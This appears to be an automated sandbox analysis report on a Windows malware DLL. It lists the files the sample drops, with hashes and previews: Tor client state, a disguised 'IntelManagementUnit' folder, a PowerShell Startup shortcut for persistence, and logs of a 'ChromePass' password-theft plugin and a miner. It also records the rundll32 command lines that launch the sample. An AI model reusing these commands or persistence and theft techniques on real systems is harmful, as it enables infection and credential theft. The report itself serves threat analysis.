SHA-512:	CF188D470F92D93825A5746401D9F15BE28DCFA83605A1757BB2E6190C8AE3AA0364E9743732A4CAF5C3E704EA1FEB9497AA41BDCFC84EF3DFDEE986A0FCECFB
Malicious:	false
Preview:	SQLite format 3......@ .......t..................................................................zp......R....................%.G...R..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\torproject\Arti\cache\dir.sqlite3-journal

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.5130365516250537
Encrypted:	false
SSDEEP:	48:7MEX4qp3Kl31rMNuDsMHNBjEu55lQ771kV/v749:7+CaPQN67NrblQGU9
MD5:	C39D2E200E225533D0F6A3A08C02F9D3
SHA1:	A8D3A9FD5C50B2368BD1E4667E94743ABD51D141
SHA-256:	AED7E76496598CDE8514407DA9CDD0D43F9A8948D250719BFAD80363056BEDBF
SHA-512:	290CBA20538727680AEA439223AFEF5F394045850C14DB26BACB1755D66366ECEB2920B0473BAF950F3F3282593FED6FD3B3CA1568E70D735AB2D4054CCABD90
Malicious:	false
Preview:	.... .c......8q....t....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs\con_microdesc_sha3-256-f2801e2ce4339b27d1b1680219205f91a7dcd6493d9311cc25c18701b2c2813a (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2875869
Entropy (8bit):	5.610350739815323
Encrypted:	false
SSDEEP:	12288:V6KxvfF9EcyuXvtEVC/JveI8GY22OOdDBGjOj9zW9fNWueO+oJxk5KXVr7/chK+N:vvmnueGl87DB/IFWueiG5KPCKY1
MD5:	2368BD17A18DFA29CBF1FA013B27E4B0
SHA1:	98B96C579D1524D8E0789344A319A22ACB78BFB7
SHA-256:	16E27F4C9DC346B8142D88CBEAB23AA4E6046FEB2CE598A7AFCA961CA61682DD
SHA-512:	9C3FAAB3F8B38D74E92679D60361400418D9E248E5A27E36D6D5CA3F0F09F86DDAB822C4CECED15E78532354B1500189A115C0416C6FED7EAB870BA46B0248D5
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2024-12-17 10:00:00.fresh-until 2024-12-17 11:00:00.valid-until 2024-12-17 13:00:00.voting-delay 300 300.client-versions 0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12,0.4.8.13,0.4.9.1-alpha.server-versions 0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12,0.4.8.13,0.4.9.1-alpha.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.params AuthDirMaxServersPerAddr=8 CircuitPri

C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs\con_microdesc_sha3-256-f2801e2ce4339b27d1b1680219205f91a7dcd6493d9311cc25c18701b2c2813a.tmp

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2875869
Entropy (8bit):	5.610350739815323
Encrypted:	false
SSDEEP:	12288:V6KxvfF9EcyuXvtEVC/JveI8GY22OOdDBGjOj9zW9fNWueO+oJxk5KXVr7/chK+N:vvmnueGl87DB/IFWueiG5KPCKY1
MD5:	2368BD17A18DFA29CBF1FA013B27E4B0
SHA1:	98B96C579D1524D8E0789344A319A22ACB78BFB7
SHA-256:	16E27F4C9DC346B8142D88CBEAB23AA4E6046FEB2CE598A7AFCA961CA61682DD
SHA-512:	9C3FAAB3F8B38D74E92679D60361400418D9E248E5A27E36D6D5CA3F0F09F86DDAB822C4CECED15E78532354B1500189A115C0416C6FED7EAB870BA46B0248D5
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2024-12-17 10:00:00.fresh-until 2024-12-17 11:00:00.valid-until 2024-12-17 13:00:00.voting-delay 300 300.client-versions 0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12,0.4.8.13,0.4.9.1-alpha.server-versions 0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12,0.4.8.13,0.4.9.1-alpha.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.params AuthDirMaxServersPerAddr=8 CircuitPri

C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.json (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	661
Entropy (8bit):	2.658854582034482
Encrypted:	false
SSDEEP:	12:YUn1CRprB4FMfxaTLLMTAJCFEyJd/Mw+NMUC0aKV:YU1Q+J0mu/A
MD5:	0B908AB15262E493C218D81369F13912
SHA1:	639865865C6675ADD442C976A09F27B6625AA8D4
SHA-256:	FAB0B90B077F73C6C11ED2F79896B4C7691B44013F5280453ED299C3957B22DE
SHA-512:	FCC06E8292902253F22D631F7E594F39FC4BFA12DB58BF8EF0A96F3C870753B3CF2EFF50F10D483BE66AE3F3DFEC5645A479B356CE84F79F22A4AFEF1EFC7979
Malicious:	false
Preview:	{. "version": 1,. "histogram": [. [. 1285,. 1. ],. [. 1295,. 1. ],. [. 1365,. 1. ],. [. 1405,. 2. ],. [. 1415,. 1. ],. [. 1425,. 2. ],. [. 1465,. 1. ],. [. 1495,. 1. ],. [. 1515,. 1. ],. [. 1595,. 1. ],. [. 1605,. 1. ],. [. 1625,. 1. ],. [. 1635,. 1. ],. [. 1775,. 1. ],. [. 2715,. 1. ],. [. 3725,. 1. ],. [. 3755,. 1. ],. [. 4115,. 1. ]. ],. "current_timeout": 60000.}

C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	661
Entropy (8bit):	2.658854582034482
Encrypted:	false
SSDEEP:	12:YUn1CRprB4FMfxaTLLMTAJCFEyJd/Mw+NMUC0aKV:YU1Q+J0mu/A
MD5:	0B908AB15262E493C218D81369F13912
SHA1:	639865865C6675ADD442C976A09F27B6625AA8D4
SHA-256:	FAB0B90B077F73C6C11ED2F79896B4C7691B44013F5280453ED299C3957B22DE
SHA-512:	FCC06E8292902253F22D631F7E594F39FC4BFA12DB58BF8EF0A96F3C870753B3CF2EFF50F10D483BE66AE3F3DFEC5645A479B356CE84F79F22A4AFEF1EFC7979
Malicious:	false
Preview:	{. "version": 1,. "histogram": [. [. 1285,. 1. ],. [. 1295,. 1. ],. [. 1365,. 1. ],. [. 1405,. 2. ],. [. 1415,. 1. ],. [. 1425,. 2. ],. [. 1465,. 1. ],. [. 1495,. 1. ],. [. 1515,. 1. ],. [. 1595,. 1. ],. [. 1605,. 1. ],. [. 1625,. 1. ],. [. 1635,. 1. ],. [. 1775,. 1. ],. [. 2715,. 1. ],. [. 3725,. 1. ],. [. 3755,. 1. ],. [. 4115,. 1. ]. ],. "current_timeout": 60000.}

C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.json (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10177
Entropy (8bit):	4.545867519125358
Encrypted:	false
SSDEEP:	192:YRM9FLY1MqjCM07MGFMZkRMVMvMfQMzoMXMSXMaDM63MMMvMdM5ZMRFXMlMuLFLg:kOFk1sh9bRsg4Q7w7dD33JsQ+ghUzFsf
MD5:	85C6F71B38001BC54B0C94DF3D4253F7
SHA1:	1021F90A0E77655EE7F3BC808BE4525215CF2337
SHA-256:	D788B7D823810F8D5E4E447CA8123DE2EE1859D293F93746F7D5DD7284E4AF47
SHA-512:	ABEE819D90346056813DB86EAA3BB100F497EF544A7543B42CE637E47882D89049B5C1809FE16DC2FA99801CEE17F9C116A88D88199F1A43F84057E6EDE085A4
Malicious:	false
Preview:	{. "default": {. "guards": [. {. "id": {. "ed25519": "DgQc2M+7y3z445kgcCWT0QKojdZI9g8R8YeLmzLKO5o",. "rsa": "9f74126edd89ba77459823dfd25343d37eba4f8d". },. "orports": [. "178.195.212.233:9001". ],. "added_at": "2024-12-07T06:41:00Z",. "added_by": {. "crate": "tor-guardmgr",. "version": "0.25.0". },. "disabled": null,. "confirmed_at": "2024-12-07T06:41:00Z",. "unlisted_since": null. },. {. "id": {. "ed25519": "yzKUPOD6SaTKOdSq5Wxbu3ymziKz1Wvf7i/pezejBiM",. "rsa": "03d1ef3ef2be5145150c58acc72519dd860e61ba". },. "orports": [. "136.243.3.194:8000",. "[2a01:4f8:211:1d41::2]:8000". ],. "added_at": "2024-12-12T12:08:20Z",. "added_by": {. "crate": "tor-guardmgr",. "version": "0.25.0". },. "disabled": null,. "confirmed_at": "2024-12-14T15:46:10Z",.

C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10177
Entropy (8bit):	4.545867519125358
Encrypted:	false
SSDEEP:	192:YRM9FLY1MqjCM07MGFMZkRMVMvMfQMzoMXMSXMaDM63MMMvMdM5ZMRFXMlMuLFLg:kOFk1sh9bRsg4Q7w7dD33JsQ+ghUzFsf
MD5:	85C6F71B38001BC54B0C94DF3D4253F7
SHA1:	1021F90A0E77655EE7F3BC808BE4525215CF2337
SHA-256:	D788B7D823810F8D5E4E447CA8123DE2EE1859D293F93746F7D5DD7284E4AF47
SHA-512:	ABEE819D90346056813DB86EAA3BB100F497EF544A7543B42CE637E47882D89049B5C1809FE16DC2FA99801CEE17F9C116A88D88199F1A43F84057E6EDE085A4
Malicious:	false
Preview:	{. "default": {. "guards": [. {. "id": {. "ed25519": "DgQc2M+7y3z445kgcCWT0QKojdZI9g8R8YeLmzLKO5o",. "rsa": "9f74126edd89ba77459823dfd25343d37eba4f8d". },. "orports": [. "178.195.212.233:9001". ],. "added_at": "2024-12-07T06:41:00Z",. "added_by": {. "crate": "tor-guardmgr",. "version": "0.25.0". },. "disabled": null,. "confirmed_at": "2024-12-07T06:41:00Z",. "unlisted_since": null. },. {. "id": {. "ed25519": "yzKUPOD6SaTKOdSq5Wxbu3ymziKz1Wvf7i/pezejBiM",. "rsa": "03d1ef3ef2be5145150c58acc72519dd860e61ba". },. "orports": [. "136.243.3.194:8000",. "[2a01:4f8:211:1d41::2]:8000". ],. "added_at": "2024-12-12T12:08:20Z",. "added_by": {. "crate": "tor-guardmgr",. "version": "0.25.0". },. "disabled": null,. "confirmed_at": "2024-12-14T15:46:10Z",.

C:\Users\user\AppData\Roaming\IntelManagementUnit\Clienter.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5952000
Entropy (8bit):	6.42252032332748
Encrypted:	false
SSDEEP:	49152:AX5tpdlXtM+AfPm06ohnluajxudNNn8qNHw1WDYfyWosCdc+0jKvK8tsHtQl9H/v:ADm4LWW1ztll9B62WYamwQiE
MD5:	755EC97A0236FC0692F8A1BBD4773AD8
SHA1:	0AC08A723FD529EEAB4C4DD827275CF03A69C55D
SHA-256:	144C30C39BA1589A1A9478E40E23D68DACC1AE6794198058DE0C403D8A1DDF5A
SHA-512:	D61C5CB38CBF16F68EAB152CC0E723277196276365CFABB5D804286D1142EA9497BE22627EA1F06CEEB30CB4219810DB9C75EF39A3BECAA41C3D4F4DA6E90FB7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........KW...W...W.......\..............E...G=..]...G=..Y...G=..u...W...........D....<..p...W...Q....<..V....<..V...RichW...........PE..d....ZTg.........." ...).ZA...........>...................................... [...........`.........................................`hV.H....hV.............. W..U............Z......fM......................hM.(....dM.@............pA..............................text...PYA......ZA................. ..`.rdata.......pA......^A.............@..@.data........V..l...pV.............@....pdata...U... W..V....V.............@..@.reloc........Z......2Z.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3263648
Entropy (8bit):	6.106782317870956
Encrypted:	false
SSDEEP:	24576:rV+favRhbxUm15yzKOX4EYZeGfo86i0k4si4p7sQEjIROjrJYPC2:rVeeRRxsg36H4B8BiC2
MD5:	DEAB967C3AD0E3C7ECDFE19D9A41978A
SHA1:	15D7BA7444D2557C6C07221B30329F707168F7BD
SHA-256:	D1766F667B639F0734E239A6605F0FD3C45D9B927051912A0D9382A87DF95FA1
SHA-512:	D42EAF6A79B8C8438D77D57CBB2A0DCE494568CF3AC99152110DFD2FC4D0301C26DDF19EAF17A84ADB2D218B018DED2E7B9B8D3D4D064BCA879EE34C7308D88F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................!......1..........:/.. ....1...@.. ........................2.....vn2...`.................................5:/.V.....1...............1..(....1......:/.p............................................ ............... ..H............text....1.. ....1................. ..`.rsrc.........1.......1.............@..@.reloc........1.......1.............@..B................q:/.....H........... K...........#.......#......................................&.o.....&.....R..,..(...+,.+..........B.o.....&..}.........{...."..o.......&.o.....&..&.o.....&..&.o.....&..B.o.....&..}.........{...."..o.......&.o.....&..B.o.....&..}.........{....&.o.....&..&.o.....&..B.o.....&..}.........{....B.o.....&..}.........{...."..o.......&.o.....&..&.o.....&..&.o.....&..&.o.....&..&.o.....&..&.o.....&..&.o.....&..&.o.....&..B.o.....&..}.......

C:\Users\user\AppData\Roaming\IntelManagementUnit\cache.bin

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	781488
Entropy (8bit):	7.999744749763847
Encrypted:	true
SSDEEP:	12288:aX4Pzhv5JmZsfh6ndcnG2Vl1Lww0IfYpHNlVeF9ZlYKVILO/C9N5Hze1fFgwQtT:aX4PImWOnG2jPdf+HNyFflYZOq7dCtFw
MD5:	33C081C64077407A9D90E0AE093121F1
SHA1:	7A969856587716E64E62CE67279A4E5969618BB1
SHA-256:	316305A8434012EE96417E72F95A66B1925C598AE2C9A44B37AD4777A099A703
SHA-512:	0D0E602B820DE132F9360AC31D945802531421431CC331214EF1C3BF3F8D66EC4B7F05F3B42C95AA5226D38A0ED17178818A77FFE0A746B4F507FA3F31D97FA7
Malicious:	false
Preview:	X...uz..I.....!.J....74.....@.`->P..Z.aJ..(...!.5.%B....C>..F....F....N.'.K$.3."..F..<..e....&..&.q.....V.u.sh.&.S...S.,......[b..........b....].V..Ww.1.."Kwxq),...r..e.l..^..h+n.#..m...q.......eD.......5.....P..W.....J....X....1>X.NH=..#.V{.e..SB..8....=."....,.."i..`.7L.s....`?]..!....G.u4...lJZ.).t..0.ci..cPQ~-..+.R..\7.yf.? .W....Oz.i..@:.]....{.....U...#O9%.'5g...E...<..w...G.T.x.h....^O......NY.E..b.5.@v..>.9.F.U.].J.R...ef.[..S...{.'w0...../...VM.f.)..!....ZF4...f.B..WhJ.v.r.. J.w.v=f.../ER{..S...B.R..I.:!..YkE~.......Es.=..HR.z...w$...Db.....C.......sC@..{.y\.MH..r}....b..AO7..@...........d..../.f.,........7.!..TQ.g9..k..pv.F'e.%q.%...I..........Mc.P..!p...I1....r.... ...k.h...E...&q..W..G.b4h-,r-...7......3..4.!.Pa..+...q.@..S..0$.I...N?.@c..vrM...........3..#h.Jp....pw...B}..?..e........#.S)...4^..@j..n)..L.$ 6.4.{.\.....o.]...{.$..*....0p.."..6MU-.._E...,k$:..l.....Q.9."B.6Z...#.>.....Q.g9...E.....P..`.)..X....].J&

C:\Users\user\AppData\Roaming\IntelManagementUnit\tor_mutex.conf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:h3v:xv
MD5:	035B905C60A58C25FC15C44AC887A592
SHA1:	7987BDF5F919A56A5B45CF2F6A1D985F154535C3
SHA-256:	994C530A8D10D8181B39DF4DB483EA74C43AC0489508E196647F167402372236
SHA-512:	CCB0A933719E9EEC2C99F6B39D289DE873253A91CF04FD64B91DBCD7C4A432CBF334B2FEDA2E9D4C5407D1C603BB6BB57494C0AF62BF5EF2CD5F5C251E2CBC5E
Malicious:	false
Preview:	7744.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementuser.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1556
Entropy (8bit):	3.43949639354921
Encrypted:	false
SSDEEP:	24:8Elo/BHYVKVWnl+HUUDGAVgMl6jkWQUGxY+/CWGVQ+/ClSwlD3prNOcI5qy:8El85aAHUHAV6Y7xkQNlbp1/5y
MD5:	140F7A8FAB871E88ED518569A678CBF7
SHA1:	91B9B6C5FFB23B714FD7FC0128231AD5F1A4C5A7
SHA-256:	9F9C56980FE39C1795373412748A118D1684A36F65FD71864936FEA611DD5FF4
SHA-512:	9D83D1199F507861E0443F46630BF6DC996F772AA4454E949B95BF60A19462D000992CE9BD59EB50FB133A06B62857CA964EFDBD359A06FB03B582B3854E7C10
Malicious:	true
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@............................................W.i.n.d.o.w.s.....Z.1...........System32..B............................................S.y.s.t.e.m.3.2.....t.1...........WindowsPowerShell.T............................................W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l... .N.1...........v1.0..:............................................v.1...0.....l.2...........powershell.exe..N............................................p.o.w.e.r.s.h.e.l.l...e.x.e.........T.h.e. .I.n.t.e.l. .M.a.n.a.g.e.m.e.n.t. .E.n.g.i.n.e. .(.M.E.). .i.s. .a.n. .e.m.b.e.d.d.e.d. .m.i.c.r.o.c.o.n.t.r.o.l.l.e.r. .r.u.n.n.i.n.g. .o.n. .a. .d.e.d.i.c.a.t.e.d. .m.i.c.r.o.p.r.o.c.e.s.s.o.r. .i.n.t.e.g.r.a.t.e.d. .i.n.t.o. .I.n.t.e.l. .c.h.i.p.s.e.t.s...Q.....\.....\.....\.....\.....\.....\.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\.v.1

C:\Users\user\AppData\Roaming\logs.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	4.835368482311987
Encrypted:	false
SSDEEP:	6:3tBHHhluB/3yGg64r5Q4lRMLLC+LLlee/Vy1QKwRMLegtRMLen3al:KgxrS4GpIedyaKxb+e3O
MD5:	E77B72CFC1BD01F8E060AADE709AD80C
SHA1:	FDDC7BA11CD20FA5806BB8CB83DE1DC9194D7069
SHA-256:	56E98EEF57142A0EB88E228B6BF9E4AE0D1BE860188078A3F143FF237E4B541E
SHA-512:	36A82852D1A9827EAFE2098247F22A790C28279C6C83BAA817BBB18707C48F44200E01F5BF0886B39131AAE6CA53AA72EA75BEC8130B36E8CF577ECA98DD3EC6
Malicious:	false
Preview:	Downloaded 668 kb in 2251 ms: 296.75699689027095 kb/s..Starting the ChromePass plugin.....Starting the process.....Awaiting pipe connection.....Writing the library...1..Writing the plugin files...0..Flushing.....Writing cache.....Writing cache...Ok..Awaiting ChromePass.....

C:\Users\user\Desktop\InstallError.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	5.213647181020861
Encrypted:	false
SSDEEP:	24:MmtastTAJANccA3AN4uANjNXAFrkvI/1bZ1HOlSOv1kr:MWAGNccAQN8NjNXAFgvI/1bZ1ulSOv18
MD5:	EDD15A459E47D27007E80C76120BBE78
SHA1:	FB34B812B030C652F75C865B4538F978FF368C5E
SHA-256:	8CCF8954FF3371CE4BEFB3FE007EDC170C28BC51F14F49E7B6192DEF6CF0B7DA
SHA-512:	694E3D5B77FAFB50D6703371160769A1E56AEDD83B08330D1404F4D4ADB704394CE82F3B97AF2D447C69B34EA7745414DD2EDD9CE7133B538B98D886C587F05F
Malicious:	false
Preview:	System.IO.FileNotFoundException: Could not find file 'C:\Users\user\Desktop\Mainer.dll'...File name: 'C:\Users\user\Desktop\Mainer.dll'.. at Microsoft.Win32.SafeHandles.SafeFileHandle.CreateFile(String, FileMode, FileAccess, FileShare, FileOptions) + 0x151.. at Microsoft.Win32.SafeHandles.SafeFileHandle.Open(String, FileMode, FileAccess, FileShare, FileOptions, Int64, Nullable`1) + 0x44.. at System.IO.File.OpenHandle(String, FileMode, FileAccess, FileShare, FileOptions, Int64) + 0x7e.. at System.IO.File.ReadAllBytesAsync(String, CancellationToken) + 0x3e.. at Installer.readTask@210.MoveNext() + 0x28..--- End of stack trace from previous location ---.. at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() + 0x20.. at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task) + 0xb2.. at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task, ConfigureAwaitOptions) + 0x4b.. at Microsoft.FSharp.Control.TaskB

C:\Users\user\Desktop\error.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	882
Entropy (8bit):	5.2254363144745986
Encrypted:	false
SSDEEP:	24:TTKUSkX2cYfTIZZDk0hc4TXybmGw/4GXiGiW:TTKrgdYck0nTYamGD
MD5:	6AB366BF24562F03D06E2AFFCF5E8E6E
SHA1:	5DCBFF9FD42B8B18822AE54F0EBC43458D96B348
SHA-256:	7C58337A518C6E9CA38C1714FF0BA0440F80811C37CDBA2E1137A6E343DB2754
SHA-512:	BB9338CDA3069A30F78280D196C24E8512D193714B47871F5C1B0367B28882D60DA5EC7DAE2D72348E40570E664A6467A79C5C15A1BE52F74DA3534F0EFB3D85
Malicious:	false
Preview:	System.Exception: Failed to exit!.. at Microsoft.FSharp.Core.PrintfModule.PrintFormatToStringThenFail@1448.Invoke(String) + 0x2b.. at AdminProgram.run@79-31.Invoke(Unit) + 0xaa.. at Microsoft.FSharp.Control.AsyncPrimitives.CallThenInvokeNoHijackCheck[a,b](AsyncActivation`1, b, FSharpFunc`2) + 0x22.. at Microsoft.FSharp.Control.Trampoline.Execute(FSharpFunc`2) + 0x44..--- End of stack trace from previous location ---.. at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() + 0x20.. at Microsoft.FSharp.Control.AsyncResult`1.Commit() + 0x53.. at Microsoft.FSharp.Control.AsyncPrimitives.QueueAsyncAndWaitForResultSynchronously[a](CancellationToken, FSharpAsync`1, FSharpOption`1) + 0x1f1.. at Microsoft.FSharp.Control.FSharpAsync.RunSynchronously[T](FSharpAsync`1, FSharpOption`1, FSharpOption`1) + 0x5c.. at Mainer.Program.RealMain(String[]) + 0x47d

C:\Users\user\Desktop\logs.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1116
Entropy (8bit):	4.825427997050121
Encrypted:	false
SSDEEP:	24:bWbCloQHrQuPo3bWbCloQH4QuPo3bWxCXmbClQQtrQuPo3bWbClQQt4QuPo3n:bOClZCOClWCiU+ClnCOClsy
MD5:	444FBC6F26763432FDE35015EE73684A
SHA1:	897B0917FBE43AC972F8585198F019A2388DC180
SHA-256:	F7D5996EB0F112980CD2D44B0BFF199653AFD45AFFA8084AAFA9C8F9A498DEE9
SHA-512:	AF087C05BBCD1B966F140C7D299E9B3C8E85525049741A5F632C659CAFD504621EDC34780AEC17BF47303CED37CDE1EB9A125E0D241F2B7F0FCBC038A4358719
Malicious:	false
Preview:	Is installer: True..Is admin: True..getCmdLine.Invoke.....getCmdLine.Invoke () = rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstall..Current dll path: C:\Users\user\Desktop\Mainer.dll..Current dir is C:\Users\user\Desktop..Is installer: True..Is admin: True..getCmdLine.Invoke.....getCmdLine.Invoke () = rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstallUserOnly..Current dll path: C:\Users\user\Desktop\Mainer.dll..Current dir is C:\Users\user\Desktop..Is installer: True..Is admin: True..Is installer: True..Directory already exists, calcelling the installation...Is admin: True..getCmdLine.Invoke.....getCmdLine.Invoke () = rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstall..Current dll path: C:\Users\user\Desktop\Mainer.dll..Current dir is C:\Users\user\Desktop..Is installer: True..Is admin: True..getCmdLine.Invoke.....getCmdLine.Invoke () = rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMaine

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.469525332904636
Encrypted:	false
SSDEEP:	6144:czZfpi6ceLPx9skLmb0fYZWSP3aJG8nAgeiJRMMhA2zX4WABluuNMjDH5S:iZHtYZWOKnMM6bFpaj4
MD5:	6F95B5BACB2EAE09BA28FEB52524D635
SHA1:	F49099DA6668543184BD05654EE77C454DA8B161
SHA-256:	E80CD9F97FFAFD6F8FA05B57210264B40C5910A8BF419F9D3DA2D01C5C681865
SHA-512:	369A80FF5EEF6B386E4D263956365F84FC6D33EC2E11BCF8F15BC7F7E95ECA46C564D262D0EBCBF27275E733D8608C931A84D5AE7C2219D4CDD4442E36215C77
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...WqP...............................................................................................................................................................................................................................................................................................................................................<.c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	7.393929051256152
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	JkICQ13OOY.dll
File size:	11'506'176 bytes
MD5:	cf174c5741c4dce62fb76c183b5b36d5
SHA1:	b982d92cac5d045a983b16033c701e59be93f133
SHA256:	c6aad319fcaa6c5f87dc49805d5e287f1870e61e0b93e17b4da556865c212e25
SHA512:	e813dfbfc435bc3ec1f015b62f746fa5cb4baa167fc5a219971d0494489522029096b009a389b89c2b5e9c2ee8defe958cd521a3e8f58cd2611ce456b0e79490
